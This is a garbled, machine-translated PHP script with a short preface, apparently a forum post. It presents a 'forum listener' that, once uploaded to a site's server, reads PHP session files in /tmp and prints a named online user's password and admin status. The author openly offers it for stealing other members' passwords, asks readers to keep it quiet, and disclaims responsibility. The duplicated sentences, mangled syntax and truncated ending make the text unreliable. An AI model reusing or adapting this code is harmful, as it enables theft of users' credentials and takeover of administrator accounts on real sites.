A function for viewing session content. The reason for writing this function is that the session structure of the website is clear, such as: name | s: 4: tasm; passwd | s: 6: 111111; mode | s: 1: 1. I also know the location where the session is stored. the reason why this function can be written is that the session structure of the website is clear, for example: name | s: 4: "tasm"; passwd | s: 6: "111111"; mode | s: 1: "1", you also know the location where the session is stored and you can upload files, at that time, I made a small hacker, and the passwords of online friends could be kept at a glance:
Function submit1 (){
Global $ username;
Print" Forum listener";
$ I = 0;
If ($ username = "tasm" | $ username = "Tasm ")
{
Print "are you too dark? Even me? ";
Return;
}
$ Path = "/tmp /";
$ D = dir ($ path );
While ($ entry = $ d-> read ()){
If (substr ($ entry, 0, 4) = "sess "){
$ Entry = $ path. $ entry;
$ Ary = @ file ($ entry );
If (! Empty ($ ary [0]) {
$ Ary = explode (";", $ ary [0]);
$ Name = explode (":", $ ary [0]);
If ($ name [2] = "\" ". $ username ."\""){
$ Passwd = explode (":", $ ary [1]);
$ Mode = explode (":", $ ary [3]);
Print "user pen name:". $ name [2]."
Password: ". $ passwd [2]."
Usage mode :";
If ($ mode [1] = 1)
Print "administrator ";
Else
Print "normal user ";
Print"
Stealing others' passwords is immoral.
";
$ I = 1;
Break;
}}}}
If (! $ I)
Print "User:". $ username. "Is it online? If you are sure, please try again. do not open spaces! ";
$ D-> close ();
}
Function login (){
?>
Forum listener
Forum listener
What do you do if you want to view a user's password when they are online? |
Let me tell you: This program is used. |
I solemnly declare that this procedure is a free procedure, and I am not responsible for any losses caused by it.
However, this problem may soon be blocked, so do not use it without publicity. |
}
// -------------- Main ()
If ($ submit1)
Submit1 ();
Else
Login ();
?>
Bytes | s: 4: tasm; passwd | s: 6: 111111; mode | s: 1: 1. you also know the location where the session is stored, and you can...